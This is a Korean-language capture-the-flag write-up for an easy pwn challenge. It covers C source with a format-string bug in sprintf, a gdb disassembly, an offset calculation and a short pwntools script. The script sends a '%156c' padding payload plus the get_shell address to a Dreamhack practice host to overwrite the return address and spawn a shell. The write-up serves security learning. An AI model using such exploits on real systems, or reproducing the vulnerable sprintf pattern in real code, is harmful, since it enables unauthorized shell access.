NX만 걸려있고, Partial RELRO로 걸려있다. 쉬운 문제의 마지막이다 ..
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
heap_buf에는 0x80만큼, stack_buf에는 0x90만큼 할당되어 있다. 그렇기에 stack_buf를 완전히 덮는게 불가능해 보일 수도 있긴 sprintf를 통해 전달하므로 포맷스트링을 이용한다면 충분히 BOF가 발생할 수 있다.
최종적으로 RET를 get_shell의 주소로 overwrite 하면 되겠다. PIE가 걸려있지 않으므로 get_shell의 주소를 알아낼 수 있다. 쉬운 문제일 것 같다.
gdb-peda$ p get_shell
$1 = {<text variable, no debug info>} 0x8048669 <get_shell>
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804867c <+0>: push ebp
0x0804867d <+1>: mov ebp,esp
0x0804867f <+3>: push edi
0x08048680 <+4>: sub esp,0x94
0x08048686 <+10>: push 0x80
0x0804868b <+15>: call 0x8048490 <malloc@plt>
0x08048690 <+20>: add esp,0x4
0x08048693 <+23>: mov DWORD PTR [ebp-0x8],eax
0x08048696 <+26>: lea edx,[ebp-0x98]
0x0804869c <+32>: mov eax,0x0
0x080486a1 <+37>: mov ecx,0x24
0x080486a6 <+42>: mov edi,edx
0x080486a8 <+44>: rep stos DWORD PTR es:[edi],eax
0x080486aa <+46>: call 0x8048622 <initialize>
0x080486af <+51>: push 0x80
0x080486b4 <+56>: push DWORD PTR [ebp-0x8]
0x080486b7 <+59>: push 0x0
0x080486b9 <+61>: call 0x8048450 <read@plt>
0x080486be <+66>: add esp,0xc
0x080486c1 <+69>: push DWORD PTR [ebp-0x8]
0x080486c4 <+72>: lea eax,[ebp-0x98]
0x080486ca <+78>: push eax
0x080486cb <+79>: call 0x80484f0 <sprintf@plt>
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
0x080486e4 <+104>: add esp,0x8
0x080486e7 <+107>: mov eax,0x0
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]
0x080486ef <+115>: leave
0x080486f0 <+116>: ret
End of assembler dump.
get_shell의 주소는 0x8048669 이며, SFP까지 총 0x98 바이트이다.
SFP까지 포함시키면 0x9C만큼 덮어야 하겠다. 10진수로 156이다.
from pwn import *
p = remote('host3.dreamhack.games', 12740)
binsh_addr = 0x8048669
payload = '%156c' + p32(binsh_addr)
p.send(payload)
p.interactive()
shell을 딸 수 있다.